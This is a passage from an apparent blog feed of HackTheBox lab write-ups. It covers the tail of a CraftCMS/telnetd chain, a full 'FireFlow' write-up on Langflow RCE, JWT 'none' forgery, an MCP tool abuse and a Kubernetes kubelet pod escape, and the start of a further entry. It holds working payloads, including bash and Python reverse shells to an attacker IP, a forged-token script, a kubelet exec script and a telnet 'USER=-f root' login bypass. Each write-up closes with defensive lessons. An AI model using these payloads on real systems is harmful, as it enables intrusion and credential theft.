<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExdmd3dG5jZWp6NmRmdHZjZ2N0dGhrM2VxOTgwc2JoZjg2ZXVsYTBociZlcD12MV9naWZzX3NlYXJjaCZjdD1n/4N5ddOOJJ7gtKTgNac/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<h2 id="full-attack-chain">Full Attack Chain</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CVE-2025-32432: CraftCMS object injection RCE
-&gt; CSRF bypass via token extraction from login page
-&gt; www-data shell
   |
   /var/www/html/craft/.env -&gt; MySQL root credentials
   -&gt; mysql -&gt; extract admin bcrypt hash
   -&gt; hashcat (mode 3200) -&gt; darkangel
   -&gt; SSH as adam -&gt; USER FLAG
      |
      ss -tulnp -&gt; telnetd on 127.0.0.1:23
      -&gt; GNU inetutils 2.7 -&gt; CVE-2026-24061
      -&gt; USER="-f root" telnet -a 127.0.0.1
      -&gt; login -f root -&gt; ROOT FLAG
</code></pre></div></div>

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. CMS version disclosure on the login page is an immediate attack signal</strong><br />
The CraftCMS version was printed at the bottom of the admin login page. One searchsploit query later and the attack path was clear. Always check footers, headers, and response metadata before doing anything else.</p>

<p><strong>2. CSRF tokens protect nothing when they’re readable from the same unauthenticated page</strong><br />
The <code class="language-plaintext highlighter-rouge">csrfTokenValue</code> was embedded in the JavaScript of the login page, readable by anyone who fetched it. CSRF tokens only provide protection when they’re tied to an authenticated session.</p>

<p><strong>3. <code class="language-plaintext highlighter-rouge">.env</code> files are the first thing to read after landing a web shell</strong><br />
One file contained the database driver, server, port, name, username, and password in plaintext. The entire database was open the moment we found that file. Web application <code class="language-plaintext highlighter-rouge">.env</code> files should never be accessible from inside the webroot.</p>

<p><strong>4. bcrypt is slow but common passwords still fall quickly</strong><br />
<code class="language-plaintext highlighter-rouge">$2y$</code> hashes are designed to resist cracking with cost factor 13. <code class="language-plaintext highlighter-rouge">darkangel</code> was in rockyou.txt and cracked in seconds. Long, random passwords are the only real defence against offline cracking.</p>

<p><strong>5. Credential reuse is the pivot that makes chains work</strong><br />
The CraftCMS admin password was reused for the system <code class="language-plaintext highlighter-rouge">adam</code> account. This is the most common lateral movement path in real environments — always try extracted passwords against SSH, WinRM, and any other auth surface.</p>

<p><strong>6. Internal services are invisible from outside but fully accessible from a shell</strong><br />
Port 23 wasn’t visible in the initial nmap scan because it was bound to localhost. <code class="language-plaintext highlighter-rouge">ss -tulnp</code> after landing a shell surfaces everything that’s running internally. Always enumerate local services post-compromise.</p>

<p><strong>7. The <code class="language-plaintext highlighter-rouge">USER</code> environment variable passing to <code class="language-plaintext highlighter-rouge">login</code> is a classic Unix footgun</strong><br />
Passing <code class="language-plaintext highlighter-rouge">-f root</code> through <code class="language-plaintext highlighter-rouge">USER</code> to the telnet daemon’s <code class="language-plaintext highlighter-rouge">login(1) </code>call bypasses authentication entirely. Any service that passes environment variables unsanitised to a login binary is exploitable this way.</p>

<hr />

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="HackTheBox" /><category term="Linux" /><category term="htb" /><category term="linux" /><category term="craftcms" /><category term="cve-2025-32432" /><category term="telnetd" /><category term="cve-2026-24061" /><category term="mysql" /><category term="hashcat" /><category term="csrf-bypass" /><category term="easy" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">HTB FireFlow — Langflow RCE, JWT None Attack &amp;amp; Kubernetes Pod Escape</title><link href="https://0x5h4q.github.io/hackthebox/linux/htb-fireflow-writeup/" rel="alternate" type="text/html" title="HTB FireFlow — Langflow RCE, JWT None Attack &amp;amp; Kubernetes Pod Escape" /><published>2026-06-28T00:00:00+01:00</published><updated>2026-06-28T00:00:00+01:00</updated><id>https://0x5h4q.github.io/hackthebox/linux/htb-fireflow-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/hackthebox/linux/htb-fireflow-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

<h1 id="htb-fireflow">HTB FireFlow</h1>

<p><strong>Difficulty:</strong> Medium<br />
<strong>OS:</strong> Linux (Kubernetes)<br />
<strong>Platform:</strong> HackTheBox<br />
<strong>Category:</strong> Web / Cloud / Container Escape<br />
<strong>Status:</strong> Retired</p>

<hr />

<h2 id="overview">Overview</h2>

<p>FireFlow is a medium Linux machine that lives entirely in cloud infrastructure. The attack chain touches four different environments: a Langflow AI platform, a Kubernetes MCP server pod, the Kubernetes control plane, and the underlying host node. The entry point is an unauthenticated RCE in Langflow. From there, environment variables leak credentials, a JWT signature bypass gives admin access to an MCP server, a misconfigured Kubernetes service account with <code class="language-plaintext highlighter-rouge">nodes/proxy</code> permission exposes the kubelet API, and a privileged pod with the host filesystem mounted delivers the root flag.</p>

<p>A lot of layers. Clean chain once you understand how each one connects.</p>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap">Nmap</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sS</span> <span class="nt">-T4</span> <span class="nt">-A</span> <span class="nt">-Pn</span> 10.129.244.214
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT      STATE    SERVICE
22/tcp    open     SSH       OpenSSH 9.6p1
443/tcp   open     HTTPS     nginx
9100/tcp  filtered
30000+    filtered           Kubernetes NodePorts
</code></pre></div></div>

<p>HTTPS on 443 and Kubernetes NodePorts in the filtered range.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.244.214 fireflow.htb flow.fireflow.htb"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</code></pre></div></div>

<hr />

<h3 id="web-enumeration">Web Enumeration</h3>

<p>The main page at <code class="language-plaintext highlighter-rouge">https://fireflow.htb</code> is a “Task Force Nightfall” intelligence platform. A link in the page points to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
</code></pre></div></div>

<p>That’s a Langflow instance (an open-source AI workflow builder). Version check:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-k</span> https://flow.fireflow.htb/api/v1/version
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"version"</span><span class="p">:</span><span class="s2">"1.8.2"</span><span class="p">,</span><span class="nl">"main_version"</span><span class="p">:</span><span class="s2">"1.8.2"</span><span class="p">,</span><span class="nl">"package"</span><span class="p">:</span><span class="s2">"Langflow"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Langflow 1.8.2. There’s a known unauthenticated RCE for this version.</p>

<hr />

<h2 id="initial-access--cve-2026-33017-langflow-unauthenticated-rce">Initial Access — CVE-2026-33017 (Langflow Unauthenticated RCE)</h2>

<h3 id="the-vulnerability">The Vulnerability</h3>

<p>The <code class="language-plaintext highlighter-rouge">/api/v1/build_public_tmp/{flow_id}/flow</code> endpoint builds public flows without any authentication. The problem is it also accepts attacker-supplied flow data containing arbitrary Python code in node definitions, which gets passed directly to <code class="language-plaintext highlighter-rouge">exec()</code> with no sandboxing. The playground flow ID from the page is public and exploitable directly.</p>

<h3 id="building-the-payload">Building the Payload</h3>

<p>Twenty minutes of failed attempts came down entirely to quote escaping across four nested layers: curl, JSON, Python, and bash. The fix was simple. Write the payload to a file and use <code class="language-plaintext highlighter-rouge">-d @file.json</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> exploit.json <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
{
  "data": {
    "nodes": [{
      "id": "Exploit-002",
      "type": "genericNode",
      "position": {"x":0,"y":0},
      "data": {
        "id": "Exploit-002",
        "type": "ExploitComp",
        "node": {
          "template": {
            "code": {
              "type": "code",
              "required": true,
              "value": "import os</span><span class="se">\n\n</span><span class="sh">_x = os.system(</span><span class="se">\"</span><span class="sh">bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.16.32/9001 0&gt;&amp;1'</span><span class="se">\"</span><span class="sh">)</span><span class="se">\n\n</span><span class="sh">from lfx.custom.custom_component.component import Component</span><span class="se">\n</span><span class="sh">from lfx.io import Output</span><span class="se">\n</span><span class="sh">from lfx.schema.data import Data</span><span class="se">\n\n</span><span class="sh">class ExploitComp(Component):</span><span class="se">\n</span><span class="sh">    display_name=</span><span class="se">\"</span><span class="sh">X</span><span class="se">\"\n</span><span class="sh">    outputs=[Output(display_name=</span><span class="se">\"</span><span class="sh">O</span><span class="se">\"</span><span class="sh">,name=</span><span class="se">\"</span><span class="sh">o</span><span class="se">\"</span><span class="sh">,method=</span><span class="se">\"</span><span class="sh">r</span><span class="se">\"</span><span class="sh">)]</span><span class="se">\n</span><span class="sh">    def r(self)-&gt;Data:</span><span class="se">\n</span><span class="sh">        return Data(data={})",
              "name": "code"
            },
            "_type": "Component"
          },
          "description": "X",
          "base_classes": ["Data"],
          "display_name": "ExploitComp",
          "name": "ExploitComp",
          "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true}]
        }
      }
    }],
    "edges": []
  }
}
</span><span class="no">EOF
</span></code></pre></div></div>

<p>Start listener and fire:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 9001

curl <span class="nt">-sk</span> <span class="nt">-X</span> POST <span class="se">\</span>
  <span class="s1">'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-b</span> <span class="s1">'client_id=attacker'</span> <span class="se">\</span>
  <span class="nt">-d</span> @exploit.json
</code></pre></div></div>

<p>Shell received as <code class="language-plaintext highlighter-rouge">www-data</code>.</p>

<hr />

<h2 id="user-pivot--nightfall">User Pivot —&gt; nightfall</h2>

<h3 id="environment-variable-leak">Environment Variable Leak</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">env</span> 
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/passwd | <span class="nb">grep </span>sh<span class="err">$</span>
<span class="c"># nightfall:x:...::/home/nightfall:/bin/bash</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>su nightfall
<span class="c"># Password: n1ghtm4r3_b4_n1ghtf4ll</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> ~/user.txt
<span class="o">[</span>REDACTED]
</code></pre></div></div>

<p><strong>User flag captured.</strong> ✅</p>

<hr />

<h2 id="mcp-server-exploitation">MCP Server Exploitation</h2>

<h3 id="mcp-configuration">MCP Configuration</h3>

<p>In nightfall’s home directory:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> ~/.mcp/config.json
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"server"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://10.129.244.214:30080"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"status_endpoint"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/api/v1/version"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"langflow-bot"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Langfl0w@mcp2026!"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The MCP (Model Context Protocol) server on port 30080 allows registering custom tools like Python code that executes server-side. If we can register a tool, we get RCE inside the MCP pod.</p>

<hr />

<h3 id="jwt-none-algorithm-attack">JWT “None” Algorithm Attack</h3>

<p>The server uses JWT for authentication but never validates the signing algorithm. If you send a token with <code class="language-plaintext highlighter-rouge">"alg":"none"</code>, no signature verification happens and any payload gets accepted as valid. Classic vulnerability from JWT implementations that trust the algorithm field from the token itself instead of enforcing it server-side.</p>

<p>Forge an admin token:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span><span class="p">,</span> <span class="n">json</span>

<span class="k">def</span> <span class="nf">b64url</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64encode</span><span class="p">(</span><span class="n">data</span><span class="p">).</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">'='</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>

<span class="n">header</span>  <span class="o">=</span> <span class="n">b64url</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span><span class="s">"alg"</span><span class="p">:</span><span class="s">"none"</span><span class="p">,</span><span class="s">"typ"</span><span class="p">:</span><span class="s">"JWT"</span><span class="p">}).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b64url</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span><span class="s">"sub"</span><span class="p">:</span><span class="s">"attacker"</span><span class="p">,</span><span class="s">"role"</span><span class="p">:</span><span class="s">"admin"</span><span class="p">}).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">token</span>   <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">header</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">payload</span><span class="si">}</span><span class="s">."</span>

<span class="k">print</span><span class="p">(</span><span class="n">token</span><span class="p">)</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.
</code></pre></div></div>

<hr />

<h3 id="registering-a-malicious-tool">Registering a Malicious Tool</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ADMIN_JWT</span><span class="o">=</span><span class="s2">"eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9."</span>

curl <span class="nt">-s</span> <span class="nt">-X</span> POST http://10.129.244.214:30080/api/v1/tools <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$ADMIN_JWT</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{
    "name": "shell",
    "description": "debug shell",
    "inputSchema": {"type":"object","properties":{}},
    "code": "import socket,os,pty\npid=os.fork()\nif pid&gt;0:\n    import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid&gt;0:\n    import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.16.32\",9001))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
  }'</span>
</code></pre></div></div>

<h3 id="triggering-it">Triggering It</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 9001

curl <span class="nt">-s</span> <span class="nt">-X</span> POST http://10.129.244.214:30080/mcp <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$ADMIN_JWT</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'</span>
</code></pre></div></div>

<p>Shell received in the MCP pod as root.</p>

<hr />

<h2 id="kubernetes-privilege-escalation">Kubernetes Privilege Escalation</h2>

<h3 id="service-account-enumeration">Service Account Enumeration</h3>

<p>The MCP pod runs with a Kubernetes service account. The token is mounted automatically:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/token | <span class="nb">cut</span> <span class="nt">-d</span><span class="nb">.</span> <span class="nt">-f2</span> | <span class="nb">base64</span> <span class="nt">-d</span>
</code></pre></div></div>

<p>Service account: <code class="language-plaintext highlighter-rouge">mcp-sa</code> in the <code class="language-plaintext highlighter-rouge">default</code> namespace.</p>

<h3 id="checking-permissions">Checking Permissions</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TOKEN</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/token<span class="si">)</span>

curl <span class="nt">-sk</span> <span class="nt">-X</span> POST <span class="s2">"https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$TOKEN</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'</span>
</code></pre></div></div>

<p>Result: <code class="language-plaintext highlighter-rouge">nodes/proxy</code> with <code class="language-plaintext highlighter-rouge">get</code> verb.</p>

<p><code class="language-plaintext highlighter-rouge">nodes/proxy</code> lets you proxy requests directly to the kubelet API on any node in the cluster. The kubelet runs as root and exposes endpoints for executing commands inside any pod on that node. This permission is effectively cluster admin.</p>

<hr />

<h3 id="finding-a-privileged-pod">Finding a Privileged Pod</h3>

<p>The kubelet API lists every pod on the node:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sk</span> <span class="s2">"https://10.129.244.214:10250/pods"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$TOKEN</span><span class="s2">"</span> | python3 <span class="nt">-c</span> <span class="s2">"
import sys, json
data = json.load(sys.stdin)
for item in data['items']:
    for c in item['spec']['containers']:
        csc = c.get('securityContext', {})
        vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v]
        if csc.get('privileged') and vols:
            paths = [v['hostPath']['path'] for v in vols]
            print(f'[!] {item[</span><span class="se">\"</span><span class="s2">metadata</span><span class="se">\"</span><span class="s2">][</span><span class="se">\"</span><span class="s2">namespace</span><span class="se">\"</span><span class="s2">]}/{item[</span><span class="se">\"</span><span class="s2">metadata</span><span class="se">\"</span><span class="s2">][</span><span class="se">\"</span><span class="s2">name</span><span class="se">\"</span><span class="s2">]} - {c[</span><span class="se">\"</span><span class="s2">name</span><span class="se">\"</span><span class="s2">]} - {paths}')
"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[!] monitoring/prometheus-prometheus-node-exporter-nmntq - node-exporter - ['/', '/proc', '/sys']
</code></pre></div></div>

<p>The node exporter pod is privileged and has the entire host filesystem mounted at <code class="language-plaintext highlighter-rouge">/</code>. That’s the target.</p>

<hr />

<h3 id="executing-commands-in-the-privileged-pod">Executing Commands in the Privileged Pod</h3>

<p>The kubelet exposes a WebSocket exec endpoint. Used a Python script to interact with it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span><span class="p">,</span> <span class="n">ssl</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">websockets</span>

<span class="n">NODE</span>  <span class="o">=</span> <span class="s">"10.129.244.214"</span>
<span class="n">NS</span>    <span class="o">=</span> <span class="s">"monitoring"</span>
<span class="n">POD</span>   <span class="o">=</span> <span class="s">"prometheus-prometheus-node-exporter-nmntq"</span>
<span class="n">CNT</span>   <span class="o">=</span> <span class="s">"node-exporter"</span>
<span class="n">TOKEN</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/var/run/secrets/kubernetes.io/serviceaccount/token'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">ws_exec</span><span class="p">(</span><span class="n">cmd_parts</span><span class="p">):</span>
    <span class="n">ctx</span> <span class="o">=</span> <span class="n">ssl</span><span class="p">.</span><span class="n">create_default_context</span><span class="p">()</span>
    <span class="n">ctx</span><span class="p">.</span><span class="n">check_hostname</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="n">ctx</span><span class="p">.</span><span class="n">verify_mode</span> <span class="o">=</span> <span class="n">ssl</span><span class="p">.</span><span class="n">CERT_NONE</span>

    <span class="n">args</span> <span class="o">=</span> <span class="s">"&amp;"</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="sa">f</span><span class="s">"command=</span><span class="si">{</span><span class="n">part</span><span class="si">}</span><span class="s">"</span> <span class="k">for</span> <span class="n">part</span> <span class="ow">in</span> <span class="n">cmd_parts</span><span class="p">)</span>
    <span class="n">url</span>  <span class="o">=</span> <span class="sa">f</span><span class="s">"wss://</span><span class="si">{</span><span class="n">NODE</span><span class="si">}</span><span class="s">:10250/exec/</span><span class="si">{</span><span class="n">NS</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">POD</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">CNT</span><span class="si">}</span><span class="s">?output=1&amp;error=1&amp;</span><span class="si">{</span><span class="n">args</span><span class="si">}</span><span class="s">"</span>

    <span class="k">async</span> <span class="k">with</span> <span class="n">websockets</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span>
        <span class="n">url</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="n">ctx</span><span class="p">,</span>
        <span class="n">additional_headers</span><span class="o">=</span><span class="p">{</span><span class="s">"Authorization"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"Bearer </span><span class="si">{</span><span class="n">TOKEN</span><span class="si">}</span><span class="s">"</span><span class="p">},</span>
        <span class="n">subprotocols</span><span class="o">=</span><span class="p">[</span><span class="s">"v4.channel.k8s.io"</span><span class="p">],</span>
        <span class="n">open_timeout</span><span class="o">=</span><span class="mi">10</span>
    <span class="p">)</span> <span class="k">as</span> <span class="n">ws</span><span class="p">:</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
                <span class="n">data</span> <span class="o">=</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">wait_for</span><span class="p">(</span><span class="n">ws</span><span class="p">.</span><span class="n">recv</span><span class="p">(),</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
                <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">)</span> <span class="ow">and</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
                    <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:].</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">))</span>
                    <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">pass</span>

<span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">ws_exec</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">()))</span>
</code></pre></div></div>

<hr />

<h2 id="root-flag">Root Flag</h2>

<p>The host filesystem is mounted at <code class="language-plaintext highlighter-rouge">/host</code> inside the privileged pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 /tmp/kube_exec.py <span class="s2">"cat /host/root/root/root.txt"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[REDACTED]
</code></pre></div></div>

<p><strong>Root flag captured. Cluster pwned.</strong> ✅</p>

<hr />

<h2 id="full-attack-chain">Full Attack Chain</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CVE-2026-33017: Langflow unauthenticated RCE
-&gt; build_public_tmp endpoint, attacker-controlled Python in exec()
-&gt; www-data shell
   |
   env leak: LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
   -&gt; su nightfall -&gt; USER FLAG
      |
      ~/.mcp/config.json -&gt; MCP server at :30080
      |
      JWT "none" algorithm -&gt; forged admin token
      -&gt; register malicious tool -&gt; trigger -&gt; MCP pod shell (root)
         |
         /var/run/secrets/.../token -&gt; mcp-sa service account
         -&gt; nodes/proxy permission -&gt; kubelet API access
            |
            kubelet /pods -&gt; find privileged pod with host mount
            -&gt; WebSocket exec -&gt; prometheus node-exporter pod
               |
               /host/root/root/root.txt -&gt; ROOT FLAG
</code></pre></div></div>

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. Public AI workflow endpoints should never accept arbitrary code</strong><br />
Langflow’s <code class="language-plaintext highlighter-rouge">build_public_tmp</code> endpoint was designed for sharing flows publicly. Accepting attacker-supplied node definitions that reach <code class="language-plaintext highlighter-rouge">exec()</code> with no sandboxing turns every public flow into an RCE surface. AI platforms that execute user code need proper isolation.</p>

<p><strong>2. Environment variables are not a secret store</strong><br />
<code class="language-plaintext highlighter-rouge">LANGFLOW_SUPERUSER_PASSWORD</code> sitting in the process environment is readable by anyone with shell access to that container. Secrets belong in a secrets manager or mounted as files with tight permissions, not in env vars passed at container startup.</p>

<p><strong>3. JWT “none” is a 2015 vulnerability that still ships in production code</strong><br />
The server trusted the algorithm field from the token itself. An attacker sets <code class="language-plaintext highlighter-rouge">"alg":"none"</code>, drops the signature, and the server accepts it as valid. Always enforce a specific algorithm server-side and never accept what the token says.</p>

<p><strong>4. <code class="language-plaintext highlighter-rouge">nodes/proxy</code> in Kubernetes is cluster admin in disguise</strong><br />
This single permission lets you proxy directly to the kubelet on any node, exec into any pod, read any secret in any running container. It should appear on no service account that isn’t explicitly meant to manage the cluster.</p>

<p><strong>5. Quote escaping across multiple layers needs file-based payloads</strong><br />
Curl -&gt; JSON -&gt; Python -&gt; bash: four layers of escaping where a single wrong character breaks the whole chain. Writing the payload to a file and using <code class="language-plaintext highlighter-rouge">-d @file.json</code> removes the problem entirely. Use files for complex payloads.</p>

<p><strong>6. Privileged pods with host path mounts are a complete container escape</strong><br />
The node exporter pod was privileged and had <code class="language-plaintext highlighter-rouge">/</code> mounted from the host. Once you exec into it, there is no container boundary. You’re reading the host filesystem directly. Monitoring workloads should never run privileged unless there is absolutely no alternative, and even then they shouldn’t mount <code class="language-plaintext highlighter-rouge">/</code>.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExZWx6anlsazVkNndjdHAwemJ4c2NiNDFjenhzZXdkNjhrdmJ3dmg4NCZlcD12MV9naWZzX3NlYXJjaCZjdD1n/15UbO1LY4O2Fxw8gnI/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>*Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>*</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="HackTheBox" /><category term="Linux" /><category term="htb" /><category term="linux" /><category term="langflow" /><category term="kubernetes" /><category term="jwt" /><category term="cve-2026-33017" /><category term="mcp" /><category term="kubelet" /><category term="container-escape" /><category term="k8s" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">HTB Voleur — NTLM Disabled, Excel Blueprint, DPAPI &amp;amp; WSL NTDS Backup</title><link href="https://0x5h4q.github.io/hackthebox/active%20directory/htb-voleur-writeup/" rel="alternate" type="text/html" title="HTB Voleur — NTLM Disabled, Excel Blueprint, DPAPI &amp;amp; WSL NTDS Backup" /><published>2026-06-26T00:00:00+01:00</published><updated>2026-06-26T00:00:00+01:00</updated><id>https://0x5h4q.github.io/hackthebox/active%20directory/htb-voleur-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/hackthebox/active%20directory/htb-voleur-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

